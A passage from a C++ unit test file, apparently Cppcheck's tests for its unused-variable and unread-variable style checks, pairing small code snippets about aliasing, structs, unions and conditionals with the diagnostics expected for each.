functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char buf[8];\\n\"\n \" char *srcdata;\\n\"\n \" if (a()) {\\n\"\n \" buf[0] = 1;\\n\"\n \" srcdata = buf;\\n\"\n \" srcdata = vdata;\\n\"\n \" }\\n\"\n \" b(srcdata);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (style) Variable 'buf' is assigned a value that is never used.\\n\",\n \"\",\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char buf[8];\\n\"\n \" char *srcdata;\\n\"\n \" if (a()) {\\n\"\n \" buf[0] = 1;\\n\"\n \" srcdata = buf;\\n\"\n \" }\\n\"\n \" srcdata = vdata;\\n\"\n \" b(srcdata);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (style) Variable 'buf' is assigned a value that is never used.\\n\",\n \"\",\n errout_str());\n\n functionVariableUsage(\"void foo(char *vdata)\\n\"\n \"{\\n\"\n \" char buf[8];\\n\"\n \" char *srcdata;\\n\"\n \" if (a()) {\\n\"\n \" srcdata = buf;\\n\"\n \" }\\n\"\n \" srcdata = vdata;\\n\"\n \" b(srcdata);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Unused variable: buf [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char buf[8];\\n\"\n \" char *srcdata;\\n\"\n \" if (a()) {\\n\"\n \" srcdata = vdata;\\n\"\n \" }\\n\"\n \" srcdata = buf;\\n\"\n \" b(srcdata);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char buf[8];\\n\"\n \" char *srcdata;\\n\"\n \" char vdata[8];\\n\"\n \" if (a()) {\\n\"\n \" buf[0] = 1;\\n\"\n \" srcdata = buf;\\n\"\n \" } else {\\n\"\n \" srcdata = vdata;\\n\"\n \" }\\n\"\n \" b(srcdata);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char buf[8];\\n\"\n \" char *srcdata;\\n\"\n \" char vdata[8];\\n\"\n \" if (a()) {\\n\"\n \" buf[0] = 1;\\n\"\n \" srcdata = buf;\\n\"\n \" srcdata = vdata;\\n\"\n \" }\\n\"\n \" b(srcdata);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7]: (style) Variable 'buf' is assigned a value that is never used.\\n\",\n \"\",\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char buf[8];\\n\"\n \" char *srcdata;\\n\"\n \" char vdata[8];\\n\"\n \" if (a()) {\\n\"\n \" buf[0] = 1;\\n\"\n \" srcdata = buf;\\n\"\n \" }\\n\"\n \" srcdata = vdata;\\n\"\n \" b(srcdata);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7]: (style) Variable 'buf' is assigned a value that is never used.\\n\",\n \"\",\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char buf[8];\\n\"\n \" char *srcdata;\\n\"\n \" char vdata[8];\\n\"\n \" if (a()) {\\n\"\n \" srcdata = buf;\\n\"\n \" }\\n\"\n \" srcdata = vdata;\\n\"\n \" b(srcdata);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Unused variable: buf [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char buf[8];\\n\"\n \" char *srcdata;\\n\"\n \" char vdata[8];\\n\"\n \" if (a()) {\\n\"\n \" srcdata = vdata;\\n\"\n \" }\\n\"\n \" srcdata = buf;\\n\"\n \" b(srcdata);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) Unused variable: vdata [unusedVariable]\\n\", errout_str());\n }\n\n void localvaralias7() { // ticket 1732\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char *c[10];\\n\"\n \" char **cp;\\n\"\n \" cp = c;\\n\"\n \" *cp = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvaralias8() {\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char b1[8];\\n\"\n \" char b2[8];\\n\"\n \" char b3[8];\\n\"\n \" char b4[8];\\n\"\n \" char *pb;\\n\"\n \" if (a == 1)\\n\"\n \" pb = b1;\\n\"\n \" else if (a == 2)\\n\"\n \" pb = b2;\\n\"\n \" else if (a == 3)\\n\"\n \" pb = b3;\\n\"\n \" else\\n\"\n \" pb = b4;\\n\"\n \" b(pb);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char b1[8];\\n\"\n \" char b2[8];\\n\"\n \" char b3[8];\\n\"\n \" char b4[8];\\n\"\n \" char *pb;\\n\"\n \" if (a == 1)\\n\"\n \" pb = b1;\\n\"\n \" else if (a == 2)\\n\"\n \" pb = b2;\\n\"\n \" else if (a == 3)\\n\"\n \" pb = b3;\\n\"\n \" else {\\n\"\n \" pb = b1;\\n\"\n \" pb = b4;\\n\"\n \" }\\n\"\n \" b(pb);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char b1[8];\\n\"\n \" char b2[8];\\n\"\n \" char b3[8];\\n\"\n \" char b4[8];\\n\"\n \" char *pb;\\n\"\n \" if (a == 1)\\n\"\n \" pb = b1;\\n\"\n \" else if (a == 2)\\n\"\n \" pb = b2;\\n\"\n \" else if (a == 3)\\n\"\n \" pb = b3;\\n\"\n \" else {\\n\"\n \" pb = b1;\\n\"\n \" pb = b2;\\n\"\n \" pb = b3;\\n\"\n \" pb = b4;\\n\"\n \" }\\n\"\n \" b(pb);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char b1[8];\\n\"\n \" char b2[8];\\n\"\n \" char b3[8];\\n\"\n \" char b4[8];\\n\"\n \" char *pb;\\n\"\n \" if (a == 1)\\n\"\n \" pb = b1;\\n\"\n \" else if (a == 2)\\n\"\n \" pb = b2;\\n\"\n \" else if (a == 3)\\n\"\n \" pb = b3;\\n\"\n \" pb = b4;\\n\"\n \" b(pb);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Unused variable: b1 [unusedVariable]\\n\"\n \"[test.cpp:4:10]: (style) Unused variable: b2 [unusedVariable]\\n\"\n \"[test.cpp:5:10]: (style) Unused variable: b3 [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char b1[8];\\n\"\n \" char b2[8];\\n\"\n \" char b3[8];\\n\"\n \" char b4[8];\\n\"\n \" char *pb;\\n\"\n \" if (a == 1)\\n\"\n \" pb = b1;\\n\"\n \" else {\\n\"\n \" if (a == 2)\\n\"\n \" pb = b2;\\n\"\n \" else {\\n\"\n \" if (a == 3)\\n\"\n \" pb = b3;\\n\"\n \" else\\n\"\n \" pb = b4;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" b(pb);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char b1[8];\\n\"\n \" char b2[8];\\n\"\n \" char b3[8];\\n\"\n \" char b4[8];\\n\"\n \" char *pb;\\n\"\n \" if (a == 1)\\n\"\n \" pb = b1;\\n\"\n \" else {\\n\"\n \" if (a == 2)\\n\"\n \" pb = b2;\\n\"\n \" else {\\n\"\n \" if (a == 3)\\n\"\n \" pb = b3;\\n\"\n \" else {\\n\"\n \" pb = b1;\\n\"\n \" pb = b4;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \" b(pb);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char b1[8];\\n\"\n \" char b2[8];\\n\"\n \" char b3[8];\\n\"\n \" char b4[8];\\n\"\n \" char *pb;\\n\"\n \" if (a == 1)\\n\"\n \" pb = b1;\\n\"\n \" else {\\n\"\n \" if (a == 2)\\n\"\n \" pb = b2;\\n\"\n \" else {\\n\"\n \" if (a == 3)\\n\"\n \" pb = b3;\\n\"\n \" else {\\n\"\n \" pb = b1;\\n\"\n \" pb = b2;\\n\"\n \" pb = b3;\\n\"\n \" pb = b4;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \" b(pb);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char b1[8];\\n\"\n \" char b2[8];\\n\"\n \" char b3[8];\\n\"\n \" char b4[8];\\n\"\n \" char *pb;\\n\"\n \" if (a == 1)\\n\"\n \" pb = b1;\\n\"\n \" else {\\n\"\n \" if (a == 2)\\n\"\n \" pb = b2;\\n\"\n \" else {\\n\"\n \" if (a == 3)\\n\"\n \" pb = b3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" pb = b4;\\n\"\n \" b(pb);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Unused variable: b1 [unusedVariable]\\n\"\n \"[test.cpp:4:10]: (style) Unused variable: b2 [unusedVariable]\\n\"\n \"[test.cpp:5:10]: (style) Unused variable: b3 [unusedVariable]\\n\", errout_str());\n }\n\n void localvaralias9() { // ticket 1996\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" Foo foo;\\n\"\n \" Foo &ref = foo;\\n\"\n \" ref[0] = 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvaralias10() { // ticket 2004\n functionVariableUsage(\"void foo(Foo &foo)\\n\"\n \"{\\n\"\n \" Foo &ref = foo;\\n\"\n \" int *x = &ref.x();\\n\"\n \" *x = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvaralias11() { // #4423 - iterator\n functionVariableUsage(\"void f(Foo &foo) {\\n\"\n \" std::set::iterator x = foo.dostuff();\\n\"\n \" *(x) = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvaralias12() { // #4394\n functionVariableUsage(\"void f(void) {\\n\"\n \" int a[4];\\n\"\n \" int *b = (int*)((int*)a+1);\\n\"\n \" x(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int f(void) {\\n\" // #4628\n \" int x=1,y;\\n\"\n \" y = (x * a) / 100;\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvaralias13() { // #4487\n functionVariableUsage(\"void f(char *p) {\\n\"\n \" char a[4];\\n\"\n \" p = a;\\n\"\n \" strcpy(p, \\\"x\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void f(char *p) {\\n\"\n \" char a[4];\\n\"\n \" p = a;\\n\"\n \" strcpy(p, \\\"x\\\");\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"a is assigned value that is never used\", \"\", errout_str());\n }\n\n void localvaralias14() { // #5619\n functionVariableUsage(\"char * dostuff(char *p);\\n\"\n \"void f() {\\n\"\n \" char a[4], *p=a;\\n\"\n \" p = dostuff(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Variable 'p' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"char * dostuff(char *&p);\\n\"\n \"void f() {\\n\"\n \" char a[4], *p=a;\\n\"\n \" p = dostuff(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // TODO: we can warn in this special case; variable is local and there are no function calls after the assignment\n\n functionVariableUsage(\"void f() {\\n\"\n \" char a[4], *p=a;\\n\"\n \" p = dostuff(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // TODO: we can warn in this special case; variable is local and there are no function calls after the assignment\n }\n\n void localvaralias15() { // #6315\n functionVariableUsage(\"void f() {\\n\"\n \" int x=3;\\n\"\n \" int *p = &x;\\n\"\n \" int *p2[1] = {p};\\n\"\n \" dostuff(p2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvaralias16() {\n functionVariableUsage(\"void f() {\\n\"\n \" auto x = dostuff();\\n\"\n \" p = x;\\n\"\n \" x->data[0] = 9;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvaralias17() {\n functionVariableUsage(\"void f() {\\n\"\n \" int x;\\n\"\n \" unknown_type p = &x;\\n\"\n \" *p = 9;\\n\"\n \"}\", dinit(FunctionVariableUsageOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvaralias18() {\n functionVariableUsage(\"void add( std::vector< std::pair< int, double > >& v)\\n\"\n \"{\\n\"\n \" std::vector< std::pair< int, double > >::iterator it;\\n\"\n \" for ( it = v.begin(); it != v.end(); ++it )\\n\"\n \" {\\n\"\n \" if ( x )\\n\"\n \" {\\n\"\n \" ( *it ).second = 0;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvaralias19() { // #9828\n functionVariableUsage(\"void f() {\\n\"\n \" bool b0{}, b1{};\\n\"\n \" struct {\\n\"\n \" bool* pb;\\n\"\n \" int val;\\n\"\n \" } Map[] = { {&b0, 0}, {&b1, 1} };\\n\"\n \" b0 = true;\\n\"\n \" for (auto & m : Map)\\n\"\n \" if (m.pb && *m.pb)\\n\"\n \" m.val = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvaralias20() { // #10966\n functionVariableUsage(\"struct A {};\\n\"\n \"A g();\\n\"\n \"void f() {\\n\"\n \" const auto& a = g();\\n\"\n \" const auto& b = a;\\n\"\n \" const auto&& c = g();\\n\"\n \" auto&& d = c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (style) Variable 'b' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:7:14]: (style) Variable 'd' is assigned a value that is never used. [unreadVariable]\\n\",\n errout_str());\n }\n\n void localvaralias21() { // #11728\n functionVariableUsage(\"void f(int i) {\\n\"\n \" bool b = true;\\n\"\n \" bool* p = &b;\\n\"\n \" int j{};\\n\"\n \" if (i)\\n\"\n \" b = false;\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Variable 'j' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n }\n\n void localvaralias22() { // #11139\n functionVariableUsage(\"int f() {\\n\"\n \" int x[1], *p = x;\\n\"\n \" x[0] = 42;\\n\"\n \" return *p;\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" int x[1], *p{ x };\\n\"\n \" x[0] = 42;\\n\"\n \" return *p;\\n\"\n \"}\\n\"\n \"int h() {\\n\"\n \" int x[1], *p(x);\\n\"\n \" x[0] = 42;\\n\"\n \" return *p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvaralias23() { // #11817\n functionVariableUsage(\"void f(int& r, bool a, bool b) {\\n\"\n \" int& e = r;\\n\"\n \" if (a)\\n\"\n \" e = 42;\\n\"\n \" else if (b)\\n\"\n \" e = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarasm() {\n\n functionVariableUsage(\"void foo(int &b)\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" asm();\\n\"\n \" b = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarStruct1() {\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" static const struct{ int x, y, w, h; } bounds = {1,2,3,4};\\n\"\n \" return bounds.x + bounds.y + bounds.w + bounds.h;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarStruct2() {\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" struct ABC { int a, b, c; };\\n\"\n \" struct ABC abc = { 1, 2, 3 };\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:20]: (style) Variable 'abc' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:4:16]: (style) Variable 'abc' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n }\n\n void localvarStruct3() {\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a = 10;\\n\"\n \" union { struct { unsigned char x; }; unsigned char z; };\\n\"\n \" do {\\n\"\n \" func();\\n\"\n \" } while(a--);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (style) Unused variable: x\\n\"\n \"[test.cpp:4]: (style) Unused variable: z\\n\", \"\", errout_str());\n }\n\n void localvarStruct5() {\n // extracttests.disable\n functionVariableUsage(\"int foo() {\\n\"\n \" A a;\\n\"\n \" return a.i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int foo() {\\n\"\n \" A a;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int foo() {\\n\"\n \" A a;\\n\"\n \" return 0;\\n\"\n \"}\\n\",\n dinit(FunctionVariableUsageOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:2:7]: (style) Unused variable: a [unusedVariable]\\n\", errout_str());\n // extracttests.enable\n\n functionVariableUsage(\"struct A { int i; };\\n\"\n \"int foo() {\\n\"\n \" A a;\\n\"\n \" return a.i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"struct A { int i; };\\n\"\n \"int foo() {\\n\"\n \" A a;\\n\"\n \" a.i = 0;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Variable 'a.i' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"struct A { int i; };\\n\"\n \"int foo() {\\n\"\n \" A a = { 0 };\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:9]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:3:7]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n // extracttests.disable\n functionVariableUsage(\"class A { int i; };\\n\"\n \"int foo() {\\n\"\n \" A a = { 0 };\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:9]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:3:7]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n // extracttests.enable\n functionVariableUsage(\"class A { int i; public: A(); { } };\\n\"\n \"int foo() {\\n\"\n \" A a;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"struct A { int i; };\\n\"\n \"int foo() {\\n\"\n \" A a;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Unused variable: a [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\"class A { int i; };\\n\"\n \"int foo() {\\n\"\n \" A a;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Unused variable: a [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\"class A { int i; public: A(); { } };\\n\"\n \"int foo() {\\n\"\n \" A a;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"class A { unknown i; };\\n\"\n \"int foo() {\\n\"\n \" A a;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"class A : public Fred { int i; };\\n\"\n \"int foo() {\\n\"\n \" A a;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"class Fred {char c;};\\n\"\n \"class A : public Fred { int i; };\\n\"\n \"int foo() {\\n\"\n \" A a;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Unused variable: a [unusedVariable]\\n\", errout_str());\n }\n\n void localvarStruct6() {\n functionVariableUsage(\"class Type { };\\n\"\n \"class A {\\n\"\n \"public:\\n\"\n \" Type & get() { return t; }\\n\"\n \"private:\\n\"\n \" Type t;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarStruct7() {\n functionVariableUsage(\"struct IMAPARG {\\n\"\n \" void *text;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void fun() {\\n\"\n \" IMAPARG *args, aatt;\\n\"\n \" args = &aatt;\\n\"\n \" aatt.text = tmp;\\n\"\n \" dostuff(args);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // extracttests.start: void dostuff(int*);\n functionVariableUsage(\"struct ARG {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void fun() {\\n\"\n \" ARG aatt;\\n\"\n \" int *p = &aatt.b;\\n\"\n \" aatt.a = 123;\\n\"\n \" dostuff(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (style) Variable 'aatt.a' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"struct AB {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void fun() {\\n\"\n \" AB ab;\\n\"\n \" int &a = ab.a;\\n\"\n \" ab.a = 123;\\n\"\n \" dostuff(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarStruct8() {\n functionVariableUsage(\"struct s {\\n\"\n \" union {\\n\"\n \" struct {\\n\"\n \" int fld1 : 16;\\n\"\n \" int fld2 : 16;\\n\"\n \" };\\n\"\n \" int raw;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"\\n\"\n \"void foo() {\\n\"\n \" struct s test;\\n\"\n \" test.raw = 0x100;\\n\"\n \" dostuff(test.fld1, test.fld2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarStruct9() {\n functionVariableUsage(\"struct XY { int x; int y; };\\n\"\n \"\\n\"\n \"void foo() {\\n\"\n \" struct XY xy(get());\\n\"\n \" return xy.x + xy.y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarStruct10() { // #6766\n functionVariableUsage(\"struct S { int x; };\\n\"\n \"\\n\"\n \"void foo(const struct S s2) {\\n\"\n \" struct S s;\\n\"\n \" s.x = 3;\\n\"\n \" memcpy (&s, &s2, sizeof (S));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Variable 's.x' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n }\n\n void localvarStruct11() { // #10095\n functionVariableUsage(\"struct Point { int x; int y; };\\n\"\n \"Point scale(Point *p);\\n\"\n \"\\n\"\n \"int foo() {\\n\"\n \" Point p;\\n\"\n \" p.x = 42;\\n\"\n \" return scale(&p).y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarStruct12() { // #10495\n functionVariableUsage(\"struct S { bool& Ref(); };\\n\"\n \"\\n\"\n \"void Set() {\\n\"\n \" S s;\\n\"\n \" s.Ref() = true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarStruct13() { // #10398\n functionVariableUsage(\"int f() {\\n\"\n \" std::vector Mode;\\n\"\n \" Info Block = {\\n\"\n \" {\\n\"\n \" { &Mode },\\n\"\n \" { &Level }\\n\"\n \" }\\n\"\n \" };\\n\"\n \" Mode.resize(N);\\n\"\n \" for (int i = 0; i < N; ++i)\\n\"\n \" Mode[i] = \\\"abc\\\";\\n\"\n \" return Save(&Block);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarStruct14() { // #12142\n functionVariableUsage(\"struct S { int i; };\\n\"\n \"int f() {\\n\"\n \" S s;\\n\"\n \" int S::* p = &S::i;\\n\"\n \" s.*p = 123;\\n\"\n \" return s.i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarStructArray() {\n // extracttests.start: struct X {int a;};\n\n // #3633 - detect that struct array is assigned a value\n functionVariableUsage(\"void f() {\\n\"\n \" struct X x[10];\\n\"\n \" x[0].a = 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) Variable 'x[0].a' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n }\n\n void localvarUnion1() {\n // #9707\n functionVariableUsage(\"static short read(FILE *fp) {\\n\"\n \" typedef union { short s; unsigned char c[2]; } u;\\n\"\n \" u x;\\n\"\n \" x.c[0] = fgetuc(fp);\\n\"\n \" x.c[1] = fgetuc(fp);\\n\"\n \" return x.s;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarOp() {\n constexpr char op[] = \"+-*/%&|^\";\n for (const char *p = op; *p; ++p) {\n std::string code(\"int main()\\n\"\n \"{\\n\"\n \" int tmp = 10;\\n\"\n \" return 123 \" + std::string(1, *p) + \" tmp;\\n\"\n \"}\");\n functionVariableUsage(code.c_str());\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void localvarInvert() {\n functionVariableUsage(\"int main()\\n\"\n \"{\\n\"\n \" int tmp = 10;\\n\"\n \" return ~tmp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarIf() {\n functionVariableUsage(\"int main()\\n\"\n \"{\\n\"\n \" int tmp = 10;\\n\"\n \" if ( tmp )\\n\"\n \" return 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"bool argsMatch(const Token *first, const Token *second) {\\n\" // #6145\n \" if (first->str() == \\\")\\\")\\n\"\n \" return true;\\n\"\n \" else if (first->next()->str() == \\\"=\\\")\\n\"\n \" first = first->nextArgument();\\n\"\n \" else if (second->next()->str() == \\\"=\\\") {\\n\"\n \" second = second->nextArgument();\\n\"\n \" if (second)\\n\"\n \" second = second->tokAt(-2);\\n\"\n \" if (!first || !second) {\\n\"\n \" return !first && !second;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) Variable 'first' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n }\n\n void localvarIfElse() {\n functionVariableUsage(\"int foo()\\n\"\n \"{\\n\"\n \" int tmp1 = 1;\\n\"\n \" int tmp2 = 2;\\n\"\n \" int tmp3 = 3;\\n\"\n \" return tmp1 ? tmp2 : tmp3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarDeclaredInIf() {\n functionVariableUsage(\"int foo(int x)\\n\"\n \"{\\n\"\n \" if (int y = x % 2)\\n\"\n \" return 2;\\n\"\n \" else\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:15]: (style) Variable 'y' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:3:13]: (style) Variable 'y' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"int foo(int x)\\n\"\n \"{\\n\"\n \" if (int y = x % 2)\\n\"\n \" return y;\\n\"\n \" else\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int foo(int x)\\n\"\n \"{\\n\"\n \" if (int y = x % 2)\\n\"\n \" return 2;\\n\"\n \" else\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int f(int i) {\\n\" // #11788\n \" if (int x = i) {\\n\"\n \" return x;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" x = 12;\\n\"\n \" return x;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void f(int i) {\\n\"\n \" if (int x = i) {\\n\"\n \" while (x < 100) {\\n\"\n \" if (x % 2 == 0) {\\n\"\n \" x += 3;\\n\"\n \" }\\n\"\n \" else if (x % 3 == 0) {\\n\"\n \" x += 5;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" x += 7;\\n\"\n \" }\\n\"\n \" x += 6;\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \" }\\n\"\n \" return i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarOpAssign() {\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a = 1;\\n\"\n \" int b = 2;\\n\"\n \" a |= b;\\n\"\n \"}\");\n 